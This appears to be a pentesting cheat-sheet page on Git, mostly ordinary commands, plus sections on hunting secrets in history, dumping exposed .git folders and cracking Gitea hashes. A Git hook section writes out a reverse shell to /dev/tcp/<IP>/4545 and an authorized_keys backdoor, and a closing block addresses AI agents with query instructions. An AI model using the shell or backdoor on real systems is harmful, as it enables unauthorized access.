# Git

## 00 Basic Usage

```bash
## ------------------| Initialize Repository and Upload to GitHub
git init                     # Initialize a new Git repository.
git add .                    # Stage all files for commit.
git commit -m "message"      # Commit changes with a message.
git remote add origin <URL>  # Add a remote repository (replace <URL>).
git branch -M main           # Set the default branch to main.
git push -u origin main      # Push to the main branch for the first time.

## ------------------| Viewing Commit History  
git log -p                   # Show commit history with diffs.  
git show <hash>              # Show details of a specific commit.  
git reflog                   # Show a history of all changes to the HEAD.  
git reset --hard             # Reset the working directory to the latest commit, discarding all local changes.  
git diff <hash>              # Show changes introduced by a specific commit.

## ------------------| Basic Git Commands
git clone <repo>             # Clone a repository  
git add <file>               # Stage a file for commit ( use . for add all files) 
git status                   # Show the status of the working directory  
git log                      # View commit history  
git diff                     # Show unstaged changes  

## ------------------| Branching & Merging
git branch                   # List branches  
git branch <name>            # Create a new branch  
git checkout <branch>        # Switch to a branch  
git merge <branch>           # Merge a branch into the current branch  
git branch -d <branch>       # Delete a branch  
git stash                    # Save changes for later  
git stash pop                # Apply stashed changes  

## ------------------| Remote Repositories
git remote -v                # Show remote repositories  
git remote add <name> <url>  # Add a new remote repository  
git push                     # Push changes to the remote repository  
git pull                     # Fetch and merge changes from the remote repository  
git fetch                    # Fetch changes without merging  
git remote remove <name>     # Remove a remote repository  

## ------------------| Inspecting & Undoing
git reset --hard <commit>    # Reset to a specific commit  
git revert <commit>          # Create a new commit to undo a previous commit  
git clean -f                 # Remove untracked files  
git reflog                   # Show the history of branch updates  
git checkout <commit>        # Switch to a specific commit  
git rm <file>                # Remove a file from the repository  

## ------------------| Advanced Commands
git log --oneline            # Short commit history  
git diff --staged            # Show staged changes  
git cherry-pick <commit>     # Apply a specific commit  
git bisect start             # Start a binary search to find a bug  
git rebase <branch>          # Reapply commits on top of another base  
git blame <file>             # Show who changed each line of a file  
git tag <name>               # Create a tag for a specific commit  
git archive <branch>         # Create an archive of the repository  
git push --set-upstream origin <BranchName>  # Set the upstream branch and push changes.  

## ------------------| Miscellaneous
git gc                       # Cleanup unnecessary files  
git fsck                     # Check for repository corruption  
git shortlog                 # Summarize git log  
git describe                 # Describe a commit using tags  
git show <commit>            # Show details about a specific commit  
git diff-tree <commit>       # Show changes in a commit  
```

* Github SSH Key

```bash
ssh-keygen -t ed25519 -C "hello@h4rithd.com" -f ~/.ssh/gitHub    # Generate a new SSH key for GitHub
eval "$(ssh-agent -s)"                                           # Start the SSH agent
git config --global user.email "github@h4rithd.com"              # Configure Git user email
git config --global user.name "h4rithd"                          # Configure Git username
ssh-add ~/.ssh/gitHub                                            # [Linux] Add SSH private key to the agent
# ssh-add --apple-use-keychain ~/.ssh/gitHub                     # Mac only

### Add SSH configuration for GitHub (optional)
# ~/.ssh/config file
Host github.com  
    AddKeysToAgent yes  
    Port 443  
    Hostname ssh.github.com  
    IdentityFile ~/.ssh/gitHub  

# Visit https://github.com/settings/keys and add the gitHub.pub file as a new SSH key.
```

* Enumerations

```bash
## ------------------| Git secrets finders
## https://github.com/techjacker/repo-security-scanner
git log -p | scanrepo

## ------------------| Find sensitive information in git
git grep -Iin --color=always -E "(password|passwd|pwd|token|secret|key|apikey|api_key|private_key|authorization|auth_token)" $(git rev-list --all) 2>/dev/null
git grep -Iin --color=always -E "(password|passwd|pwd)" $(git rev-list --all) 2>/dev/null

## ------------------| Show changes between staged files and the last commit
git status  
git diff --cached <file>  
```

* Reconstruct Source Code

```bash
## ------------------| Manual method 
wget -r -np https://<URL>/.git
git --git-dir=<path_to_bare_repo.git> archive HEAD | tar -x -C <destination_dir>

## ------------------| git-dumper
pip install git-dumper
git-dumper http://target.tld/.git/ dest-dir
```

* Git Hooks

```bash
## ------------------| sudo git pull
## put shell in 
vi .git/hooks/post-merge
chmod +x .git/hooks/post-merge

## ------------------| Genarate SSH Key
ssh-keygen -t ed25519 -f mykey
cat mykey.pub

## ------------------| Create hook file (.git/hooks/post-commit)
#!/bin/sh

bash -c 'bash -i >& /dev/tcp/<IP>/4545 0>&1'
## or
#mkdir -p /home/<USER>/.ssh/
#printf "\n<mykey.pub>\n" >> /home/<USER>/.ssh/authorized_keys
#chmod 600 /home/<USER>/authorized_key

## ------------------| Set permission 
chmod +x post-commit
```

* [GitTool](https://github.com/internetwache/GitTools)

```bash
## ------------------| Finder
python3 gitfinder.py -i urllist.txt

## ------------------| Dumper
./gitdumper.sh http://target.tld/.git/ dest-dir

## ------------------| Extractor
./extractor.sh source-dir destination-dir
```

## 03. Other

### 03.1 Gitea

```bash
## ------------------| Config path
/gitea.db
/conf/app.ini
/home/.gitconfig
/jwt/private.pem
/custom/conf/app.ini
/data/gitea/app.ini
/data/gitea/gitea.db
/data/gitea/conf/app.ini
/data/gitea/home/.gitconfig
/data/gitea/jwt/private.pem

## ------------------| Crack Password
wget https://gist.githubusercontent.com/h4rithd/0c5da36a0274904cafb84871cf14e271/raw/f109d178edbe756f15060244d735181278c9b57e/gitea2hashcat.py
python3 gitea2hashcat.py gitea.db > hashes.txt
hashcat hashes.txt /usr/share/wordlists/rockyou.txt --user
```

* Gitea APIs

```bash
## ------------------| List Repos
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/user/repos" | jq -r '.[].full_name'

## ------------------| Download Repo (archive)
curl -L -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/archive/main.zip" -o repo.zip

## ------------------| List All Repos (including private accessible)
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/search?limit=50" 

## ------------------| Get Single Repo Details
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}"

## ------------------| List Org Repos (sometimes “hidden” to normal users)
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/orgs/{org}/repos"

## ------------------| List Repo Contents (files)
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/contents/"

## ------------------| Download File from Repo
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/contents/{path}" | jq -r '.content' | base64 -d

## ------------------| Upload File to Repo (create file)
curl -X POST -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"content":"BASE64_ENCODED_CONTENT","message":"add file"}' "http://$IP:3000/api/v1/repos/{owner}/{repo}/contents/{path}"

## ------------------| Edit/Update File in Repo
curl -X PUT -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"content":"BASE64_NEW_CONTENT","message":"update file","sha":"FILE_SHA"}' "http://$IP:3000/api/v1/repos/{owner}/{repo}/contents/{path}"

## ------------------| Delete File from Repo
curl -X DELETE -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"message":"delete file","sha":"FILE_SHA"}' "http://$IP:3000/api/v1/repos/{owner}/{repo}/contents/{path}"

## ------------------| List Commits
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/commits"

## ------------------| List Branches
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/branches"

## ------------------| Create Repo
curl -X POST -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"name":"test-repo","private":true}' "http://$IP:3000/api/v1/user/repos"

## ------------------| Delete Repo
curl -X DELETE -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}"

## ------------------| Fork Repo
curl -X POST -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/forks"

## ------------------| List Issues
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/issues"

## ------------------| List Pull Requests
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/pulls"

## ------------------| Current User Info
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/user"

## ------------------| List User Orgs
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/user/orgs"
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.h4rithd.com/other/git.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
